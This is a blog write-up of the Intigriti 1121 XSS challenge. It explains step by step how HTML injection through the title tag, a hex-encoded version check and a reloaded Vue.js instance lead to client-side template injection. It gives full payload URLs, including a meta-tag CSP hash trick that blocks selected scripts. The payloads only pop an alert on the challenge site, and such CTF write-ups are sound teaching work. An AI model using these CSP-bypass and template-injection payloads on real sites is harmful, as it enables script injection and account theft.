DEV Community

Cover image for Intigriti 1121 - XSS Challenge Writeup
Breno Vitório
Breno Vitório

Posted on

Intigriti 1121 - XSS Challenge Writeup

Another month, another amazing XSS Challenge from Intigriti, made by Ivars Vids. My first solution for this was not the intended one, but I hope you guys somehow appreciate it. 🤗

In the end of the writeup, I am going to be presenting you the intended solution, which I just figured out with a few hours of challenge remaining.

🕵️ In-Depth Analysis

When we access the page https://challenge-1121.intigriti.io/challenge/index.php, it's possible to see that there is a list of security issues, as known as the 2021 edition of OWASP TOP 10. There is also a search bar from where it's possible to look for specific vulnerabilities. Whatever we type into this input will appear with the s query parameter when submitted.

Result of the search for 'Hello Guys'

If we try to submit, for example, a s value like <h1>example</h1>, we will get this text being present on two different parts of the page:

<html>
  <head>
      <title>You searched for '&lt;h1&gt;test&lt;/h1&gt;'</title> // First one
      ...
  </head>
  <body>
      <div id="app">
          ...
        <p>You searched for &lt;h1&gt;test&lt;/h1&gt;</p>         // Second one
          ...
      </div>
  </body>
</html>
Enter fullscreen mode Exit fullscreen mode

It's worth mentioning two points:

  1. The second part where our <h1> appears, that one inside the <p> tag, actually comes to our browser as <p>You searched for v-{{search}}</p>, and we can verify this by opening the page source. So there is a client-side method for the use of templates happening here.
  2. The first part, which is that one inside the <title> tag, is being escaped just like the second part, so our <h1>example</h1> is treated like a normal text instead of an HTML element. But there's a thing, the <title> tag is not meant to have child elements and the browser will not parse as HTML something that simply goes inside this element. In view of this, we can close the tag and insert our <h1>example</h1> after it. 😄

🏞️ Getting to Know the Scenario

By using our payload </title><h1>example</h1>, now our <h1> tag goes to the page body and the browser treats it like a normal HTML element. So...what if we try to replace this <h1> for something like a <script>? Well, if we try a payload like </title><script>alert(document.domain)</script>, it will actually be reflected to the page, but no alert is going to be popped out, and the reason can be found on the page response header:

content-security-policy: base-uri 'self'; default-src 'self';
script-src 'unsafe-eval' 'nonce-r4nd0mn0nc3' 'strict-dynamic';
object-src 'none'; style-src 'sha256-dpZAgKnDDhzFfwKbmWwkl1IEwmNIKxUv+uw+QP89W3Q='

There is a Content Security Policy (CSP) defined, which is great because it will not trust in every single thing that pops into the page. For those who are not familiar, a CSP is a security standard that can be defined in order to tell to the environment (in this case, our browser) what should be trusted and what should be restricted. The definition of a Content Security Policy helps to mitigate the risks of a XSS.

By looking at what it has to tell us about scripts, we have:

script-src 'unsafe-eval' 'nonce-r4nd0mn0nc3' 'strict-dynamic';

I remember from the last XSS Challenge, by reading these slides, that when the strict-dynamic policy is defined, we are able to execute JavaScript if its created by using document.createElement("script"). It would be really terrible if this function was being used somewhe...what!?!

function addJS(src, cb){
  let s = document.createElement('script'); // Script tag being created
  s.src = src;                              // Source being defined
  s.onload = cb;                            // Onload callback function being defined
  let sf = document.getElementsByTagName('script')[0];
  sf.parentNode.insertBefore(s, sf);        // Inserting it before the first script tag
}
Enter fullscreen mode Exit fullscreen mode

So we have this function, which creates a script that's supposed to load external code, okay. But where is it used? Let's see:

<script nonce="r4nd0mn0nc3">
  var delimiters = ['v-{{', '}}']; // Apparently, delimiters for templates
  addJS('./vuejs.php', initVUE);   // addJS being called
</script>
Enter fullscreen mode Exit fullscreen mode

Our addJS function is being called, the defined source is ./vuejs.php (???) and the onload callback function is initVUE (???), which is defined down below. I promise it will all make sense in the end! 😅

function initVUE(){
  if (!window.Vue){
    setTimeout(initVUE, 100);
  }
  new Vue({                         // new instance of Vue being created
    el: '#app',                     // All the magic will happen inside div#app
    delimiters: window.delimiters,  // Custom delimiters v-{{ }} being defined
    data: {
      "owasp":[
        // All the OWASP list inside here
      ].filter(e=>{
        return (e.title + ' - ' + e.description)
            .includes(new URL(location).searchParams.get('s')|| ' ');
      }),
      "search": new URL(location).searchParams.get('s')
    }
  })
}
Enter fullscreen mode Exit fullscreen mode

If you are not familiar with Vue.js, it's a very popular framework based on JavaScript, just like ReactJS or Angular, and it aims to simplify not only the experience of creating web Interfaces, but also anything that's being handled on the client-side.

Also, Vue.js is actually the responsible for picking up that v-{{search}} from the page source and converting it to the value of your s query parameter. It does that by picking the search value you can find in the data object above. The original delimiters recognized by Vue.js are actually {{ }}, but for this challenge, the delimiters are custom ones.

That ./vuejs.php request is actually redirecting to a CDN hosted JavaScript file containing the basis of Vue.js, so it can be initialized on the initVUE function.

🚧 HTML Injection Leads to CSTI

By assuming that the only way we can directly use JavaScript is calling addJS, we have to find a different place from where it's being called. Here's the only place left:

<script nonce="r4nd0mn0nc3">
  if (!window.isProd){        // isProd may not be true, hm...
    let version = new URL(location).searchParams.get('version') || '';
    version = version.slice(0,12);
    let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
    vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

    if (version === 999999999999){
      setTimeout(window.legacyLogger, 1000);
    } else if (version > 1000000000000){
      addJS(vueDevtools, window.initVUE);  // addJS being called again!!!
    } else{
      console.log(performance)
    }
  }
</script>
Enter fullscreen mode Exit fullscreen mode

Okay, now we have a piece of code where addJS is being called, but first of all, it will only be called if this window.isProd is not true. This variable is being defined in a different and previous <script> tag, it's actually the first one before ./vuejs.php takes the first place. 😄

<html>
  <head>
    <title>You searched for 'OurPreviousPayloadHere'</title>
    <script nonce="r4nd0mn0nc3">
      var isProd = true;          // window.isProd being defined
    </script>
        ...
    </head>
    ...
</html>
Enter fullscreen mode Exit fullscreen mode

We have to figure out a way of breaking it so it never gets this true value. Remember our payload, </title><h1>example</h1>? If we change it to </title><script>, the browser will get "confused" because of the unclosed tag, and this new tag will be closed on the next </script> that it can find. Also, because of the CSP, nothing inside this <script> will be executed, including the definition of window.isProd. It's worth mentioning that when it comes to JavaScript, the result of if(undefinedVariable) is false, and if(!undefinedVariable) is true, so having an undefined variable is enough, and we don't need it's value to equals false. 🤯

Now let's get back to the code, but now inside the if condition. First of all, we have these new query parameters:

let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
Enter fullscreen mode Exit fullscreen mode

version contains only the first 12 characters of your input (if you insert something greater than this). vueDevTools has a whitelist filter that only allows for letters, numbers, % and .. It will also replace any starting // (one or more cases) to an empty string.

Continuing the code, we have:

if (version === 999999999999){
  setTimeout(window.legacyLogger, 1000);
} else if (version > 1000000000000){  // Wait, it has 13 characters! >:(
  addJS(vueDevtools, window.initVUE);
} else{
  console.log(performance)
}
Enter fullscreen mode Exit fullscreen mode

In order to be able to call addJS we will need to define a value for the version parameter which is greater than 1000000000000. As version max characters length is 12, it will not be possible by using a simple decimal value.

But this common way we always take is not the only way of representing a number in JavaScript, and the same thing applies to most programming languages. We may, for example, try values like 0xffffffffff (1099511627775 in hexadecimal) or 1e15 (1 times 10 raised to the 15th power). I am going to stick with the hexadecimal approach because it's the one I originally found, so now our payload would be something like ?s=</title><script>&version=0xffffffffff

For the value of vueDevtools, we can see that it will be used as a source on addJS, because it's the first parameter of the function. If we simply try to point out to any complete URL, it will not work because the filter for vueDevTools doesn't allow the use of the : character, in a way that a URL like http://example.com/xss.js would always become http//example.com/xss.js. It means that we are limited to include only files that are inside of the application environment.

This limitation doesn't actually make any progress impossible because we can, for example, define vueDevtools=./vuejs.php. This redundancy would create a new instance of Vue after the first one, and by knowing that Vue.js parses any v-{{ }} that it finds in the DOM, if we add a test to our s parameter like </title><script>v-{{7*7}}, we are going to see that it parses the v-{{7*7}} and shows 49 on the screen. CSTI, yay! 🥳

Vue parsing our payload as it was part of a template

🏁 CSTI Leads to Reflected Cross-Site Scripting

Okay, we have this payload, which is ?s=</title><script>v-{{7*7}}&version=0xffffffffff&vueDevtools=./vuejs.php, and it's capable of trigger a Client-Side Template Injection, but how do we use it in order to execute arbitrary JavaScript code?

Searching a little bit more about CSTI, I found out that that's possible to define functions and instantly execute them, all inside a template. It uses the JavaScript constructor function and it would be like this:

{{ constructor.constructor("YOUR_JAVASCRIPT_CODE_HERE")() }}

From this, we have our final payload, which is https://challenge-1121.intigriti.io/challenge/index.php?s=%3C%2Ftitle%3E%3Cscript%3Ev-%7B%7Bconstructor.constructor%28%22alert%28document.domain%29%22%29%28%29%7D%7D&version=0xffffffffff&vueDevtools=./vuejs.php (URL encoded).

😳 The Intended Solution

For this part, I have to say thank you to Ivars Vids, who tried during the entire week to make me think in different ways without giving the challenge away. Thank you for your efforts into making me less stupid 🤗😂

I was told that the difference between my solution and the intended one is the first step, because no <script> tag is supposed to be broken by adding new <script> tags. And I was also told that the first hint was all about this first step.

Considering that we have an enemy, and we have to make it stronger, I remember that the CSP was the first issue we found during the unintended solution. So what if we use it in order to block the scripts we don't want to be executed? 🤔

Remember that originally, the CSP is given to our browser through the response headers, but it also may be defined by using a <meta> tag. There's an example down below:

<meta http-equiv="Content-Security-Policy" content="script-src 'none'">

💡 An Insight

If we add this CSP definition after a </title> tag to the s query parameter, we will have as a result that every single script tag will be blocked, and no script in the page will be executed.

Do you remember these tags?

<script nonce="r4nd0mn0nc3"> // Script #1
  var isProd = true;
</script>
<script nonce="r4nd0mn0nc3"> // Script #2
  function addJS(src, cb){...}
  function initVUE(){...}
</script>
<script nonce="r4nd0mn0nc3"> // Script #3
  var delimiters = ['v-{{', '}}'];
  addJS('./vuejs.php', initVUE);
</script>
<script nonce="r4nd0mn0nc3"> // Script #4
  if (!window.isProd){
    ...
  }
</script>
Enter fullscreen mode Exit fullscreen mode

I thought it would be a nice idea to block scripts #1 and #3 instead of just the first one, because by doing it, we wouldn't need to use these custom delimiters on the payload anymore. Okay, but how exactly do we allow only specific script tags?

This question got me stuck for the entire week, but when I had only a few hours left, I got an interesting insight. The Content Security Policy also allows us to define hashes for the scripts to be verified before executing, so I could add the hashes for scripts #2 and #4, and define nothing for #1 and #3 so they are blocked by the CSP itself.

Taking a look at the dev tools console, with our current payload ?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'none'">, we are going to see these error messages:

Four blocked scripts, and their respectives hashes displayed

Four error messages, each one representing one of our <script> tags being blocked by the CSP. Notice that for each one, there's a hash that corresponds to the content inside of the tag.

Picking up the hashes of #2 and #4, and adding them to the CSP <meta> tag along with the same unsafe-eval and strict-dynamic used by the original CSP, we will have the following payload which blocks #1 and #3:

?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2Boz%2BCtD7RE4=' 'sha256-Tz/iYFTnNe0de6izIdG%2Bo6Xitl18uZfQWapSbxHE6Ic=' 'strict-dynamic'">

Content Security Policy defined in order to block first and third script tags

Now, we add our previous values for version and vueDevtools, which are going to work the same:

?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2Boz%2BCtD7RE4=' 'sha256-Tz/iYFTnNe0de6izIdG%2Bo6Xitl18uZfQWapSbxHE6Ic=' 'strict-dynamic'">&version=0xffffffffff&vueDevtools=./vuejs.php

This will make a new instance of Vue.js be started without any custom delimiters. Once it's done, we have to inject our XSS template inside <div id="app"></div>, which is already in the page and it's used by Vue as the container for its job. But what if we just add it again in our payload as this one down below?

<div id="app">{{constructor.constructor('alert(document.domain)')()}}</div>

It works! 🥳

https://challenge-1121.intigriti.io/challenge/index.php?s=%3C/title%3E%3Cmeta%20http-equiv=%22Content-Security-Policy%22%20content=%22script-src%20%27unsafe-eval%27%20%27sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2Boz%2BCtD7RE4=%27%20%27sha256-Tz/iYFTnNe0de6izIdG%2Bo6Xitl18uZfQWapSbxHE6Ic=%27%20%27strict-dynamic%27%22%3E%3Cdiv%20id=%22app%22%3E%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D%3C/div%3E&version=0xffffffffff&vueDevtools=./vuejs.php (URL encoded)

Thank you for taking your time! 🤗

Discussion (0)